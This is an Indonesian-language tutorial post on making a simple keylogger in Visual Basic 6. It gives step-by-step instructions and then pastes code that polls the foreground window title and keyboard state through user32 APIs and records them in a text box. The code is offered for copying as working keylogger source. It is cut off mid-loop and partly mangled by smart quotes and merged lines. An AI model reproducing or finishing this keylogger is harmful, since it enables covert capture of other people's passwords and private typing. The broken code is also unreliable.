Sesuai dengan judul di atas, kali ini saya akan memberikan sedikit tutorial cara membuat key logger sederhana dengan Visual Basic. Oke langsung saja gan..
1. Siapkan Visual Basic , Disini saya menggunakan Visual Basic 6.0
2. Buka program Visual Basic
3. New Project Standard EXE




4. Tambahkan 1 buah TextBox, 4 buah CommandButton, 2 Timer, dan 6 buah Label (Lihat Gambar)
 


5. Copas seluruh Code di bawah ini :


Private Declare Function GetAsyncKeyState Lib “user32″ (ByVal vKey As Long) As Integer
Private Declare Function GetForegroundWindow Lib “user32″ () As Long
Private Declare Function GetWindowText Lib “user32″ Alias “GetWindowTextA” (ByVal hWnd As Long, ByVal sWndTitle As String, ByVal cLen As Long) As Long
Private hForegroundWnd As Long
Private backs As BooleanPrivate Sub Command1_Click()
Timer1.Enabled = True
End SubPrivate Sub Command2_Click()
Timer1.Enabled = False
End SubPrivate Sub Command3_Click()
backs = True
End SubPrivate Sub Command4_Click()
backs = False
End SubPrivate Sub Form_Load()
backs = True
End Sub

Private Sub Label1_Click()

End Sub

Private Sub Label4_Click()

End Sub

Private Sub Label6_Click()
Timer1.Enabled = True
End Sub

Private Sub Label7_Click()
Timer1.Enabled = False
End Sub

Private Sub Label8_Click()
backs = True
End Sub

Private Sub Label9_Click()
backs = False
End Sub

Private Sub Text1_Change()
Text1.SelStart = 0
Text1.SelLength = Len(Text1.Text)
End Sub

Private Sub Timer1_Timer()

Dim x, x2, i, t As Integer
Dim win As Long
Dim Title As String * 1000

win = GetForegroundWindow()
If (win = hForegroundWnd) Then
GoTo Keylogger
Else
hForegroundWnd = GetForegroundWindow()
Title = “”

GetWindowText hForegroundWnd, Title, 1000

Select Case Asc(Title)

Case 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95
Text1.Text = Text1.Text & vbCrLf & vbCrLf & “[ " & Title
Text1.Text = Text1.Text & " ]” & vbCrLf
End Select

End If

Exit Sub

Keylogger:

For i = 65 To 90

x = GetAsyncKeyState(i)
